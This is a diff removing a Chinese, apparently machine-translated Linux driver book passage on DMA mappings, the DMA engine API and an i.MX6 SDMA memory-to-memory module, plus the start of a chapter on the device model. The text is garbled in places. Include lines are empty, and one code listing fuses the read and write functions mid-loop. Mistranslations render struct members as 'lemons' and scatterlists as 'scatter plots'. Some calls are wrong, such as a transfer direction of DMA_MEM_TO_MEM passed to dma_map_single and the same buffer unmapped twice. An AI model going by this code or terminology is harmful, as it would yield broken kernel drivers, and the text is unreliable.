传输都需要合适的内存映射。一个直接存储器存取映射包括分配一个直接存储器存取缓冲器和为它产生一个总线地址。设备实际上使用总线地址。总线地址是`dma_addr_t`类型的每个实例。 - -人们区分了两种类型的映射:**相干 DMA 映射**和**流式 DMA 映射**。可以在多次传输中使用前者,这将自动解决缓存一致性问题。所以,太贵了。流映射有很多限制,不能自动解决一致性问题,尽管有一个解决方案,它由每次传输之间的几个函数调用组成。一致性映射通常存在于驱动的生命周期中,而一旦 DMA 传输完成,通常会取消一个流映射的映射。 - -可以的时候应该使用流映射,必须的时候应该使用连贯映射。 - -回到代码;主报头应该包括以下内容来处理 DMA 映射: - -```sh -#include -``` - -# 相干映射 - -以下函数设置一个连贯的映射: - -```sh -void *dma_alloc_coherent(struct device *dev, size_t size, - dma_addr_t *dma_handle, gfp_t flag) -``` - -该函数处理缓冲区的分配和映射,并返回该缓冲区的内核虚拟地址,该地址为`size`字节宽,可由中央处理器访问。`dev`是你的设备结构。第三个参数是指向相关总线地址的输出参数。为映射分配的内存保证在物理上是连续的,`flag`决定应该如何分配内存,通常是`GFP_KERNEL`或`GFP_ATOMIC`(如果我们在原子上下文中)。 - -请注意,该映射据说是: - -* **一致(连贯)**,因为它为执行 DMA 的设备分配未缓存的无缓冲内存 -* **同步**,因为设备或中央处理器的写入可以立即被任何一方读取,而无需担心缓存一致性 - -为了释放映射,可以使用以下函数: - -```sh -void dma_free_coherent(struct device *dev, size_t size, - void *cpu_addr, dma_addr_t dma_handle); -``` - -这里`cpu_addr`对应`dma_alloc_coherent()`返回的内核虚拟地址。这种映射成本很高,它能分配的最小空间是一个页面。事实上,它只分配了 2 的幂的页数。页面顺序通过`int order = get_order(size)`获得。应该将此映射用于设备寿命最长的缓冲区。 - -# 流式直接存储器存取映射 - -流映射有更多的限制,并且不同于相干映射,原因如下: - -* 映射需要使用已经分配的缓冲区。 -* 映射可以接受几个不连续且分散的缓冲区。 -* 映射的缓冲区属于设备,不再属于中央处理器。在 CPU 可以使用缓冲区之前,应该先取消映射(在`dma_unmap_single()`或`dma_unmap_sg()`之后)。这是为了缓存。 -* 对于写事务(中央处理器到设备),驱动应该在映射之前将数据放入缓冲区。 -* 必须指定数据移动的方向,并且只能基于该方向使用数据。 - -人们可能会想,为什么不应该访问缓冲区,直到它被取消映射。原因很简单:CPU 映射是可缓存的。用于流映射的`dma_map_*()`族函数将首先清除/无效与缓冲区相关的缓存,并依赖于中央处理器直到相应的`dma_unmap_*()`才访问它。然后,在中央处理器可以读取设备写入内存的任何数据之前,这将再次使缓存无效(如果必要的话),以防同时发生任何推测性提取。现在 CPU 可以访问缓冲区了。 - -流映射实际上有两种形式: - -* 单一缓冲区映射,只允许一页映射 -* 分散/聚集映射,允许传递多个缓冲区(分散在内存中) - -对于任一映射,方向应由类型为`enum dma_data_direction`的符号指定,在`include/linux/dma-direction.h`中定义: - -```sh -enum dma_data_direction { - DMA_BIDIRECTIONAL = 0, - DMA_TO_DEVICE = 1, - DMA_FROM_DEVICE = 2, - DMA_NONE = 3, -}; -``` - -# 单缓冲映射 - -这是为了偶尔映射。可以用这个设置一个缓冲区: - -```sh -dma_addr_t dma_map_single(struct device *dev, void *ptr, - size_t size, enum dma_data_direction direction); -``` - -方向应为`DMA_TO_DEVICE`、`DMA_FROM_DEVICE`或`DMA_BIDIRECTIONAL,`,如前代码所述。`ptr`是缓冲区的内核虚拟地址,`dma_addr_t`是设备返回的总线地址。确保使用真正符合您需求的方向,而不仅仅是一直使用`DMA_BIDIRECTIONAL`。 - -应该用这个来释放映射: - -```sh -void dma_unmap_single(struct device *dev, dma_addr_t dma_addr, - size_t size, enum dma_data_direction direction); -``` - -# 分散/聚集映射 - -分散/聚集映射是一种特殊类型的流式直接存储器存取映射,在这种映射中,一次可以传输几个缓冲区,而不是单独映射每个缓冲区并逐个传输它们。假设您有几个物理上可能不连续的缓冲区,所有这些缓冲区都需要同时传输到设备或从设备传输出去。出现这种情况的原因可能是: - -* 读写系统调用 -* 磁盘输入/输出请求 -* 或者仅仅是映射内核输入/输出缓冲区中的页面列表 - -内核将散点图表示为一个连贯的结构,`struct scatterlist`: - -```sh -struct scatterlist { - unsigned long page_link; - unsigned int offset; - unsigned int length; - dma_addr_t dma_address; - unsigned int dma_length; -}; -``` - -为了建立分散列表映射,应该: - -* 分配分散的缓冲区。 -* 创建散布列表的数组,并使用`sg_set_buf().`用分配的内存填充它。注意散布列表条目必须是页面大小(除了结尾)。 -* 在散点图上呼叫`dma_map_sg()`。 -* 完成 DMA 后,调用`dma_unmap_sg()`取消映射散点图。 - -虽然通过单独映射每个缓冲区,可以一次一个地通过 DMA 发送几个缓冲区的内容,但是分散/聚集可以通过将指向分散列表的指针连同长度(列表中的条目数)一起发送到设备,一次发送全部内容: - -```sh -u32 *wbuf, *wbuf2, *wbuf3; -wbuf = kzalloc(SDMA_BUF_SIZE, GFP_DMA); -wbuf2 = kzalloc(SDMA_BUF_SIZE, GFP_DMA); -wbuf3 = kzalloc(SDMA_BUF_SIZE/2, GFP_DMA); - -struct scatterlist sg[3]; -sg_init_table(sg, 3); -sg_set_buf(&sg[0], wbuf, SDMA_BUF_SIZE); -sg_set_buf(&sg[1], wbuf2, SDMA_BUF_SIZE); -sg_set_buf(&sg[2], wbuf3, SDMA_BUF_SIZE/2); -ret = dma_map_sg(NULL, sg, 3, DMA_MEM_TO_MEM); -``` - -单缓冲映射部分中描述的相同规则适用于分散/聚集。 - -![](img/00033.jpeg) - -DMA scatter/gather - -`dma_map_sg()`和`dma_unmap_sg()`负责缓存一致性。但是,如果需要在 DMA 传输之间使用相同的映射来访问(读/写)数据,则必须以适当的方式在每次传输之间同步缓冲区,如果 CPU 需要访问缓冲区,则通过`dma_sync_sg_for_cpu()`,如果是设备,则通过`dma_sync_sg_for_device()`。单区域映射的类似功能有`dma_sync_single_for_cpu()`和`dma_sync_single_for_device()`: - -```sh -void dma_sync_sg_for_cpu(struct device *dev, - struct scatterlist *sg, - int nents, - enum dma_data_direction direction); -void dma_sync_sg_for_device(struct device *dev, - struct scatterlist *sg, int nents, - enum dma_data_direction direction); - -void dma_sync_single_for_cpu(struct device *dev, dma_addr_t addr, - size_t size, - enum dma_data_direction dir) - -void dma_sync_single_for_device(struct device *dev, - dma_addr_t addr, size_t size, - enum dma_data_direction dir) -``` - -缓冲区取消映射后,无需再次调用前面的函数。你可以只看内容。 - -# 完成的概念 - -本节将简要描述完成和 DMA 传输使用的应用编程接口的必要部分。完整的描述请随意查看*documents/scheduler/completion . txt*的内核文档。内核编程中的一种常见模式是在当前线程之外启动一些活动,然后等待该活动完成。 - -当等待使用缓冲区时,完成是`sleep()`的一个很好的替代。它适合感知数据,这正是 DMA 回调的作用。 - -完成工作需要此标题: - -```sh - -``` - -像其他内核设施数据结构一样,可以静态或动态地创建`struct completion`结构的实例: - -* 静态声明和初始化如下所示: - -```sh - DECLARE_COMPLETION(my_comp); -``` - -* 动态分配如下所示: - -```sh -struct completion my_comp; -init_completion(&my_comp); -``` - -当驱动开始一些必须等待完成的工作(在我们的例子中是一个 DMA 事务)时,它只需要将完成事件传递给`wait_for_completion()`函数: - -```sh -void wait_for_completion(struct completion *comp); -``` - -当代码的某个其他部分确定完成已经发生(事务完成)时,它可以唤醒任何人(实际上是需要访问 DMA 缓冲区的代码),他们正在等待以下操作之一: - -```sh -void complete(struct completion *comp); -void complete_all(struct completion *comp); -``` - -可以猜测,`complete()`只会唤醒一个等待过程,而`complete_all()`会唤醒每一个等待那个事件的人。即使在`wait_for_completion()`之前调用`complete()`,完井也能正常工作。 - -随着在接下来的部分中使用的代码示例,人们将更好地理解这是如何工作的。 - -# 直接存储器存取引擎应用编程接口 - -DMA 引擎是开发 DMA 控制器驱动的通用内核框架。DMA 的主要目标是在复制内存时卸载 CPU。一种是通过使用通道将事务(输入/输出数据传输)委托给直接存储器存取引擎。DMA 引擎通过其驱动/应用编程接口公开一组通道,供其他设备(从设备)使用。 - -![](img/00034.gif) - -DMA Engine layout - -在这里,我们将简单地浏览一下(从)应用编程接口,它只适用于从 DMA 使用。这里的强制标题如下: - -```sh - #include -``` - -从属 DMA 的使用很简单,包括以下步骤: - -1. 分配一个 DMA 从通道。 -2. 设置从机和控制器的特定参数。 -3. 获取事务的描述符。 -4. 提交交易。 -5. 发出挂起的请求并等待回调通知。 - -One can see a DMA channel as a highway for I/O data transfer - -# 分配一个直接存储器存取从通道 - -使用`dma_request_channel()`请求频道。其原型如下: - -```sh -struct dma_chan *dma_request_channel(const dma_cap_mask_t *mask, - dma_filter_fn fn, void *fn_param); -``` - -`mask`是一个位图掩码,表示通道必须满足的能力。人们基本上使用它来指定驱动需要执行的传输类型: - -```sh -enum dma_transaction_type { - DMA_MEMCPY, /* Memory to memory copy */ - DMA_XOR, /* Memory to memory XOR*/ - DMA_PQ, /* Memory to memory P+Q computation */ - DMA_XOR_VAL, /* Memory buffer parity check using XOR */ - DMA_PQ_VAL, /* Memory buffer parity check using P+Q */ - DMA_INTERRUPT, /* The device is able to generrate dummy transfer that will generate interrupts */ - DMA_SG, /* Memory to memory scatter gather */ - DMA_PRIVATE, /* channels are not to be used for global memcpy. Usually used with DMA_SLAVE */ - DMA_SLAVE, /* Memory to device transfers */ - DMA_CYCLIC, /* Device is ableto handle cyclic tranfers */ - DMA_INTERLEAVE, /* Memoty to memory interleaved transfer */ -} -``` - -`The dma_cap_zero()`和`dma_cap_set()`功能用于清除掩码和设置我们需要的能力。例如: - -```sh -dma_cap_mask my_dma_cap_mask; -struct dma_chan *chan; -dma_cap_zero(my_dma_cap_mask); -dma_cap_set(DMA_MEMCPY, my_dma_cap_mask); /* Memory to memory copy */ -chan = dma_request_channel(my_dma_cap_mask, NULL, NULL); -``` - -在前面的摘录中,`dma_filter_fn`被定义为: - -```sh -typedef bool (*dma_filter_fn)(struct dma_chan *chan, - void *filter_param); -``` - -如果`filter_fn`参数(可选)为`NULL`,`dma_request_channel()`将简单地返回满足能力掩码的第一个通道。否则,当屏蔽参数不足以指定必要的通道时,可以使用`filter_fn`程序作为系统中可用通道的过滤器。内核为系统中的每个空闲通道调用一次`filter_fn`例程。当看到合适的通道时,`filter_fn`应该返回`DMA_ACK,`,它会将给定的通道标记为来自`dma_request_channel()`的返回值。 - -通过该接口分配的通道是呼叫者专用的,直到调用`dma_release_channel()`为止: - -```sh -void dma_release_channel(struct dma_chan *chan) -``` - -# 设置从机和控制器的特定参数 - -这一步引入了一个新的数据结构`struct dma_slave_config`,它代表了 DMA 从通道的运行时配置。这允许客户端为外设指定设置,如直接存储器存取方向、直接存储器存取地址、总线宽度、直接存储器存取突发长度等。 - -```sh -int dmaengine_slave_config(struct dma_chan *chan, -struct dma_slave_config *config) -``` - -`struct dma_slave_config`结构如下: - -```sh -/* - * Please refer to the complete description in - * include/linux/dmaengine.h - */ -struct dma_slave_config { - enum dma_transfer_direction direction; - phys_addr_t src_addr; - phys_addr_t dst_addr; - enum dma_slave_buswidth src_addr_width; - enum dma_slave_buswidth dst_addr_width; - u32 src_maxburst; - u32 dst_maxburst; - [...] -}; -``` - -以下是结构中每个柠檬的含义: - -* `direction`:这表示数据应该在这个从通道上输入还是输出,此时。可能的值有: - -```sh -/* dma transfer mode and direction indicator */ -enum dma_transfer_direction { - DMA_MEM_TO_MEM, /* Async/Memcpy mode */ - DMA_MEM_TO_DEV, /* From Memory to Device */ - DMA_DEV_TO_MEM, /* From Device to Memory */ - DMA_DEV_TO_DEV, /* From Device to Device */ - [...] -}; -``` - -* `src_addr`:这是应该读取 DMA 从机数据(RX)的缓冲区的物理地址(实际上是总线地址)。如果源是内存,则忽略此元素。`dst_addr`是应该写入 DMA 从机数据的缓冲区的物理地址(实际上是总线地址)(TX),如果源是内存,则忽略。`src_addr_width`是应该读取 DMA 数据的源(RX)寄存器的字节宽度。如果源是内存,这可能会被忽略,具体取决于架构。合法值是 1、2、4 或 8。所以`dst_addr_width`和`src_addr_width`是一样的,只不过是针对目的地目标(TX)。 -* 任何总线宽度都必须是下列枚举之一: - -```sh -enum dma_slave_buswidth { - DMA_SLAVE_BUSWIDTH_UNDEFINED = 0, - DMA_SLAVE_BUSWIDTH_1_BYTE = 1, - DMA_SLAVE_BUSWIDTH_2_BYTES = 2, - DMA_SLAVE_BUSWIDTH_3_BYTES = 3, - DMA_SLAVE_BUSWIDTH_4_BYTES = 4, - DMA_SLAVE_BUSWIDTH_8_BYTES = 8, - DMA_SLAVE_BUSWIDTH_16_BYTES = 16, - DMA_SLAVE_BUSWIDTH_32_BYTES = 32, - DMA_SLAVE_BUSWIDTH_64_BYTES = 64, -}; -``` - -* `src_maxburs`:这是一个突发中可以发送到设备的最大字数(这里,将单词视为`src_addr_width`成员的单位,而不是字节)。通常,输入/输出外设上的先进先出深度约为一半,因此不会溢出。这可能适用于也可能不适用于内存源。`dst_maxburst`与`src_maxburst`相同,但为目的地目标。 - -例如: - -```sh -struct dma_chan *my_dma_chan; -dma_addr_t dma_src, dma_dst; -struct dma_slave_config my_dma_cfg = {0}; - -/* No filter callback, neither filter param */ -my_dma_chan = dma_request_channel(my_dma_cap_mask, 0, NULL); - -/* scr_addr and dst_addr are ignored in this structure for mem to mem copy */ -my_dma_cfg.direction = DMA_MEM_TO_MEM; -my_dma_cfg.dst_addr_width = DMA_SLAVE_BUSWIDTH_32_BYTES; - -dmaengine_slave_config(my_dma_chan, &my_dma_cfg); - -char *rx_data, *tx_data; -/* No error check */ -rx_data = kzalloc(BUFFER_SIZE, GFP_DMA); -tx_data = kzalloc(BUFFER_SIZE, GFP_DMA); - -feed_data(tx_data); - -/* get dma addresses */ -dma_src_addr = dma_map_single(NULL, tx_data, -BUFFER_SIZE, DMA_MEM_TO_MEM); -dma_dst_addr = dma_map_single(NULL, rx_data, -BUFFER_SIZE, DMA_MEM_TO_MEM); -``` - -在前面的摘录中,调用`dma_request_channel()`函数是为了获取 DMA 通道的所有者芯片,在该芯片上调用`dmaengine_slave_config()`来应用其配置。`dma_map_single()`被调用是为了映射 rx 和 tx 缓冲区,以便这些缓冲区可以用于 DMA 目的。 - -# 获取事务的描述符 - -如果您还记得本节的第一步,当一个人请求一个 DMA 通道时,返回值是`struct dma_chan`结构的一个实例。如果你看一下它在`include/linux/dmaengine.h`中的定义,你会注意到它包含一个`struct dma_device *device`字段,代表提供通道的 DMA 设备(实际上是控制器)。该控制器的内核驱动负责(这是内核 API 为 DMA 控制器驱动强加的规则)公开一组函数来准备 DMA 事务,其中每个函数对应于一个 DMA 事务类型(在步骤 1 中枚举)。根据交易类型,人们别无选择,只能选择专用功能。其中一些功能是: - -* `device_prep_dma_memcpy()`:准备记忆操作 -* `device_prep_dma_sg()`:准备分散/聚集记忆操作 -* `device_prep_dma_xor()`:对于异或运算 -* `device_prep_dma_xor_val()`:准备异或验证操作 -* `device_prep_dma_pq()`:准备 pq 操作 -* `device_prep_dma_pq_val()`:准备 pqzero_sum 操作 -* `device_prep_dma_memset()`:准备记忆集操作 -* `device_prep_dma_memset_sg()`:对于散点图上的记忆集操作 -* `device_prep_slave_sg()`:准备从 DMA 操作 -* `device_prep_interleaved_dma()`:以泛型方式传递表达式 - -让我们来看看`drivers/dma/imx-sdma.c`,这是 i.MX6 DMA 控制器(SDMA)驱动。这些函数都返回一个指向`struct dma_async_tx_descriptor`结构的指针,该结构对应于事务描述符。对于内存到内存的拷贝,将使用`device_prep_dma_memcpy`: - -```sh -struct dma_device *dma_dev = my_dma_chan->device; -struct dma_async_tx_descriptor *tx = NULL; - -tx = dma_dev->device_prep_dma_memcpy(my_dma_chan, dma_dst_addr, -dma_src_addr, BUFFER_SIZE, 0); - -if (!tx) { - printk(KERN_ERR "%s: Failed to prepare DMA transfer\n", - __FUNCTION__); - /* dma_unmap_* the buffer */ -} -``` - -其实我们应该用`dmaengine_prep_*` DMA 引擎 API。请注意,这些函数在内部执行我们之前执行的功能。例如,对于内存到内存,可以使用`device_prep_dma_memcpy ()`功能: - -```sh -struct dma_async_tx_descriptor *(*device_prep_dma_memcpy)( - struct dma_chan *chan, dma_addr_t dst, dma_addr_t src, - size_t len, unsigned long flags) -``` - -我们的示例如下: - -```sh -struct dma_async_tx_descriptor *tx = NULL; -tx = dma_dev->device_prep_dma_memcpy(my_dma_chan, dma_dst_addr, -dma_src_addr, BUFFER_SIZE, 0); -if (!tx) { - printk(KERN_ERR "%s: Failed to prepare DMA transfer\n", - __FUNCTION__); - /* dma_unmap_* the buffer */ -} -``` - -请看一下`struct dma_device`结构定义中的`include/linux/dmaengine.h`,看看这些钩子是如何实现的。 - -# 提交交易 - -要将事务放入驱动等待队列,可以使用`dmaengine_submit()`。一旦准备好描述符并添加了回调信息,就应该将它放在等待队列的 DMA 引擎驱动上: - -```sh -dma_cookie_t dmaengine_submit(struct dma_async_tx_descriptor *desc) -``` - -该函数返回一个 cookie,可以用来通过其他 DMA 引擎检查 DMA 活动的进度。`dmaengine_submit()`不会启动 DMA 操作,它只是将其添加到挂起队列中。下一步将讨论如何开始交易: - -```sh -struct completion transfer_ok; -init_completion(&transfer_ok); -tx->callback = my_dma_callback; - -/* Submit our dma transfer */ -dma_cookie_t cookie = dmaengine_submit(tx); - -if (dma_submit_error(cookie)) { - printk(KERN_ERR "%s: Failed to start DMA transfer\n", __FUNCTION__); - /* Handle that */ -[...] -} -``` - -# 发出挂起的 DMA 请求并等待回调通知 - -启动事务是 DMA 传输设置的最后一步。通过调用通道上的`dma_async_issue_pending()`,激活该通道的待处理队列中的事务。如果通道空闲,则队列中的第一个事务开始,后续事务排队。DMA 操作完成后,队列中的下一个操作将启动,并触发小任务。此小任务负责调用客户端驱动完成回调例程进行通知,如果设置了: - -```sh -void dma_async_issue_pending(struct dma_chan *chan); -``` - -一个示例如下所示: - -```sh -dma_async_issue_pending(my_dma_chan); -wait_for_completion(&transfer_ok); - -dma_unmap_single(my_dma_chan->device->dev, dma_src_addr, -BUFFER_SIZE, DMA_MEM_TO_MEM); -dma_unmap_single(my_dma_chan->device->dev, dma_src_addr, - BUFFER_SIZE, DMA_MEM_TO_MEM); - -/* Process buffer through rx_data and tx_data virtualaddresses. */ -``` - -`wait_for_completion()`函数将被阻塞,直到我们的 DMA 回调被调用,这将更新(完成)我们的完成变量,以便恢复之前阻塞的代码。是`while (!done) msleep(SOME_TIME);`的合适替代品。 - -```sh -static void my_dma_callback() -{ - complete(transfer_ok); - return; -} -``` - -The DMA engine API function that actually issues pending transactions is `dmaengine_issue_pending(struct dma_chan *chan)`, which is a wrap around `dma_async_issue_pending()`. - -# 综合起来——恩智浦 SDMA(即 MX6) - -SDMA 引擎是 i.MX6 中的一个可编程控制器,每个外设在这个控制器中都有自己的复制功能。人们用这个`enum`来确定他们的地址: - -```sh -enum sdma_peripheral_type { - IMX_DMATYPE_SSI, /* MCU domain SSI */ - IMX_DMATYPE_SSI_SP, /* Shared SSI */ - IMX_DMATYPE_MMC, /* MMC */ - IMX_DMATYPE_SDHC, /* SDHC */ - IMX_DMATYPE_UART, /* MCU domain UART */ - IMX_DMATYPE_UART_SP, /* Shared UART */ - IMX_DMATYPE_FIRI, /* FIRI */ - IMX_DMATYPE_CSPI, /* MCU domain CSPI */ - IMX_DMATYPE_CSPI_SP, /* Shared CSPI */ - IMX_DMATYPE_SIM, /* SIM */ - IMX_DMATYPE_ATA, /* ATA */ - IMX_DMATYPE_CCM, /* CCM */ - IMX_DMATYPE_EXT, /* External peripheral */ - IMX_DMATYPE_MSHC, /* Memory Stick Host Controller */ - IMX_DMATYPE_MSHC_SP, /* Shared Memory Stick Host Controller */ - IMX_DMATYPE_DSP, /* DSP */ - IMX_DMATYPE_MEMORY, /* Memory */ - IMX_DMATYPE_FIFO_MEMORY,/* FIFO type Memory */ - IMX_DMATYPE_SPDIF, /* SPDIF */ - IMX_DMATYPE_IPU_MEMORY, /* IPU Memory */ - IMX_DMATYPE_ASRC, /* ASRC */ - IMX_DMATYPE_ESAI, /* ESAI */ - IMX_DMATYPE_SSI_DUAL, /* SSI Dual FIFO */ - IMX_DMATYPE_ASRC_SP, /* Shared ASRC */ - IMX_DMATYPE_SAI, /* SAI */ -}; -``` - -尽管有通用的 DMA 引擎 API,任何构造函数都可以提供自己的自定义数据结构。这是`imx_dma_data`结构的情况,它是一个私有数据(用于描述需要使用的 DMA 设备类型),将被传递到过滤器回调中`struct dma_chan`的`.private`字段: - -```sh -struct imx_dma_data { - int dma_request; /* DMA request line */ - int dma_request2; /* secondary DMA request line */ - enum sdma_peripheral_type peripheral_type; - int priority; -}; - -enum imx_dma_prio { - DMA_PRIO_HIGH = 0, - DMA_PRIO_MEDIUM = 1, - DMA_PRIO_LOW = 2 -}; -``` - -这些结构和枚举都是特定于 i.MX 的,并在`include/linux/platform_data/dma-imx.h`中定义。现在,让我们编写我们的内核 DMA 模块。它分配两个缓冲区(源和目标)。用预定义的数据填充源,并执行一个事务,以便将 src 复制到 dst 中。可以通过使用来自用户空间(`copy_from_user()`)的数据来改进该模块。该驱动的灵感来自 imx 测试包中提供的驱动: - -```sh -#include -#include /* for kmalloc */ -#include -#include -#include -#include -#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3,0,35)) -#include -#else -#include -#endif - -#include -#include - -#include -#include - -static int gMajor; /* major number of device */ -static struct class *dma_tm_class; -u32 *wbuf; /* source buffer */ -u32 *rbuf; /* destinationn buffer */ - -struct dma_chan *dma_m2m_chan; /* our dma channel */ -struct completion dma_m2m_ok; /* completion variable used in the DMA callback */ -#define SDMA_BUF_SIZE 1024 -``` - -让我们定义过滤函数。当一个人请求一个直接存储器存取通道时,控制器驱动可以在一个通道列表(它有)中执行查找。对于细粒度的查找,可以提供一个回调方法,该方法将在找到的每个通道上调用。然后由回调来选择要使用的合适频道: - -```sh -static bool dma_m2m_filter(struct dma_chan *chan, void *param) -{ - if (!imx_dma_is_general_purpose(chan)) - return false; - chan->private = param; - return true; -} -``` - -`imx_dma_is_general_purpose`是检查控制器驱动名称的特殊功能。`open`函数将分配缓冲区并请求 DMA 通道,给定我们的过滤器函数作为回调: - -```sh -int sdma_open(struct inode * inode, struct file * filp) -{ - dma_cap_mask_t dma_m2m_mask; - struct imx_dma_data m2m_dma_data = {0}; - - init_completion(&dma_m2m_ok); - - dma_cap_zero(dma_m2m_mask); - dma_cap_set(DMA_MEMCPY, dma_m2m_mask); /* Set channel capacities */ - m2m_dma_data.peripheral_type = IMX_DMATYPE_MEMORY; /* choose the dma device type. This is proper to i.MX */ - m2m_dma_data.priority = DMA_PRIO_HIGH; /* we need high priority */ - - dma_m2m_chan = dma_request_channel(dma_m2m_mask, dma_m2m_filter, &m2m_dma_data); - if (!dma_m2m_chan) { - printk("Error opening the SDMA memory to memory channel\n"); - return -EINVAL; - } - - wbuf = kzalloc(SDMA_BUF_SIZE, GFP_DMA); - if(!wbuf) { - printk("error wbuf !!!!!!!!!!!\n"); - return -1; - } - - rbuf = kzalloc(SDMA_BUF_SIZE, GFP_DMA); - if(!rbuf) { - printk("error rbuf !!!!!!!!!!!\n"); - return -1; - } - - return 0; -} -``` - -`release`功能只是做`open`功能的反向;它释放缓冲区并释放 DMA 通道: - -```sh -int sdma_release(struct inode * inode, struct file * filp) -{ - dma_release_channel(dma_m2m_chan); - dma_m2m_chan = NULL; - kfree(wbuf); - kfree(rbuf); - return 0; -} -``` - -在`read`功能中,我们只是比较源缓冲区和目的缓冲区,并通知用户结果。 - -```sh -ssize_t sdma_read (struct file *filp, char __user * buf, -size_t count, loff_t * offset) -{ - int i; - for (i=0; idevice->device_prep_dma_memcpy(dma_m2m_chan, dma_dst, dma_src, SDMA_BUF_SIZE,0); - if (!dma_m2m_desc) - printk("prep error!!\n"); - dma_m2m_desc->callback = dma_m2m_callback; - dmaengine_submit(dma_m2m_desc); - dma_async_issue_pending(dma_m2m_chan); - wait_for_completion(&dma_m2m_ok); - dma_unmap_single(NULL, dma_src, SDMA_BUF_SIZE, DMA_TO_DEVICE); - dma_unmap_single(NULL, dma_dst, SDMA_BUF_SIZE, DMA_FROM_DEVICE); - - return 0; -} - -struct file_operations dma_fops = { - open: sdma_open, - release: sdma_release, - read: sdma_read, - write: sdma_write, -}; -``` - -完整的代码可以在书的存储库中找到:`chapter-12/imx-sdma/imx-sdma-single.c`。还有一个模块可以用来执行相同的任务,但使用的是分散/聚集映射:`chapter-12/imx-sdma/imx-sdma-scatter-gather.c`。 - -# DMA DT 绑定 - -DMA 通道的 DT 绑定取决于 DMA 控制器节点,该节点依赖于 SoC,某些参数(如 DMA 单元)可能因 SoC 而异。这个例子只关注 i.MX SDMA 控制器,可以在内核源码*文档/device tree/bindings/DMA/fsl-imx-sdma . txt*中找到。 - -# 消费者约束 - -根据 SDMA 事件映射表,以下代码显示了 iMX 6 dual/6 quad 中外设的 DMA 请求信号: - -```sh -uart1: serial@02020000 { - compatible = "fsl,imx6sx-uart", "fsl,imx21-uart"; - reg = <0x02020000 0x4000>; - interrupts = ; - clocks = <&clks IMX6SX_CLK_UART_IPG>, - <&clks IMX6SX_CLK_UART_SERIAL>; - clock-names = "ipg", "per"; - dmas = <&sdma 25 4 0>, <&sdma 26 4 0>; - dma-names = "rx", "tx"; - status = "disabled"; -}; -``` - -DMA 属性中的第二个单元格(`25`和`26`)对应于 DMA 请求/事件标识。这些值来自 SoC 手册(在我们的例子中是 MX53)。请看一下[https://community . nxp . com/servlet/JiveServlet/download/614186-1-373516/imx 6 _ Firmware _ guide . pdf](https://community.nxp.com/servlet/JiveServlet/download/614186-1-373516/iMX6_Firmware_Guide.pdf)和[的 Linux 参考手册 https://community . nxp . com/servlet/JiveServlet/download/614186-1-373515/I . MX _ Linux _ Reference _ manual . pdf](https://community.nxp.com/servlet/JiveServlet/download/614186-1-373515/i.MX_Linux_Reference_Manual.pdf)。 - -第三个单元格指示要使用的优先级。接下来定义请求指定参数的驱动代码。可以在内核源代码树的`drivers/tty/serial/imx.c`中找到完整的代码: - -```sh -static int imx_uart_dma_init(struct imx_port *sport) -{ - struct dma_slave_config slave_config = {}; - struct device *dev = sport->port.dev; - int ret; - - /* Prepare for RX : */ - sport->dma_chan_rx = dma_request_slave_channel(dev, "rx"); - if (!sport->dma_chan_rx) { - [...] /* cannot get the DMA channel. handle error */ - } - - slave_config.direction = DMA_DEV_TO_MEM; - slave_config.src_addr = sport->port.mapbase + URXD0; - slave_config.src_addr_width = DMA_SLAVE_BUSWIDTH_1_BYTE; - /* one byte less than the watermark level to enable the aging timer */ - slave_config.src_maxburst = RXTL_DMA - 1; - ret = dmaengine_slave_config(sport->dma_chan_rx, &slave_config); - if (ret) { - [...] /* handle error */ - } - - sport->rx_buf = kzalloc(PAGE_SIZE, GFP_KERNEL); - if (!sport->rx_buf) { - [...] /* handle error */ - } - - /* Prepare for TX : */ - sport->dma_chan_tx = dma_request_slave_channel(dev, "tx"); - if (!sport->dma_chan_tx) { - [...] /* cannot get the DMA channel. handle error */ - } - - slave_config.direction = DMA_MEM_TO_DEV; - slave_config.dst_addr = sport->port.mapbase + URTX0; - slave_config.dst_addr_width = DMA_SLAVE_BUSWIDTH_1_BYTE; - slave_config.dst_maxburst = TXTL_DMA; - ret = dmaengine_slave_config(sport->dma_chan_tx, &slave_config); - if (ret) { - [...] /* handle error */ - } - [...] -} -``` - -这里神奇的调用是`dma_request_slave_channel()`函数,它会根据 DMA 名称解析设备节点(在 DT 中)使用`of_dma_request_slave_channel()`来收集通道设置(参考[第 6 章](06.html#4QFR40-dbde2ca892a6480b9727afb6a9c9e924)、*设备树的概念*中的命名资源)。 - -# 摘要 - -直接存储器存取是许多现代中央处理器的一个特点。本章为您提供了使用内核直接存储器存取映射和直接存储器存取引擎应用编程接口充分利用该设备的必要步骤。学完这一章,我毫不怀疑你至少可以设置一个内存到内存的 DMA 传输。您可以在内核源代码树的 *Documentation/dmaengine/* 中找到更多信息。因此,下一章将讨论一个完全不同的主题 Linux 设备模型。 \ No newline at end of file diff --git a/docs/linux-device-driver-dev/13.md b/docs/linux-device-driver-dev/13.md deleted file mode 100644 index e0cfba4e..00000000 --- a/docs/linux-device-driver-dev/13.md +++ /dev/null @@ -1,1054 +0,0 @@ -# 十三、Linux 设备模型 - -在 2.5 版本之前,内核没有办法描述和管理对象,代码的可重用性也没有像现在这样增强。换句话说,既没有设备拓扑,也没有组织。没有关于子系统关系的信息,也没有关于系统如何组合的信息。接下来是 **Linux 设备模型** ( **LDM** ),介绍: - -* 类的概念,将相同类型的设备或展示相同功能的设备分组(例如,鼠标和键盘都是输入设备)。 -* 通过名为`sysfs`的虚拟文件系统与用户空间通信,以便让用户空间管理和枚举设备及其公开的属性。 -* 使用引用计数(在托管资源中大量使用)管理对象生命周期。 -* 电源管理,以处理设备关闭的顺序。 -* 代码的可重用性。类和框架公开接口,表现得像任何向它们注册的驱动都必须遵守的契约。 -* LDM 在内核中引入了一种类似于面向对象的编程风格。 - -在本章中,我们将利用 LDM,通过`sysfs`文件系统将一些属性导出到用户空间。 - -在本章中,我们将涵盖以下主题: - -* 介绍 LDM 数据结构(驱动、设备、总线) -* 按类型收集内核对象 -* 处理内核`sysfs`界面 - -# LDM 数据结构 - -目标是构建一个完整的 DT 来映射系统中的每个物理设备,并介绍它们的层次结构。已经创建了一个通用的结构来表示可能是设备模型一部分的任何对象。LDM 的上层依赖于内核中表示为`struct bus_type`实例的总线;由`struct device_driver`结构表示的设备驱动,以及作为`struct device`结构实例表示的最后一个元素的设备。在本节中,我们将设计一个总线驱动 packt bus,以便深入了解 LDM 数据结构和机制。 - -# 公共汽车 - -总线是设备和处理器之间的通道链路。管理总线并将其协议输出到设备的硬件实体称为总线控制器。例如,USB 控制器提供 USB 支持。I2C 控制器提供 I2C 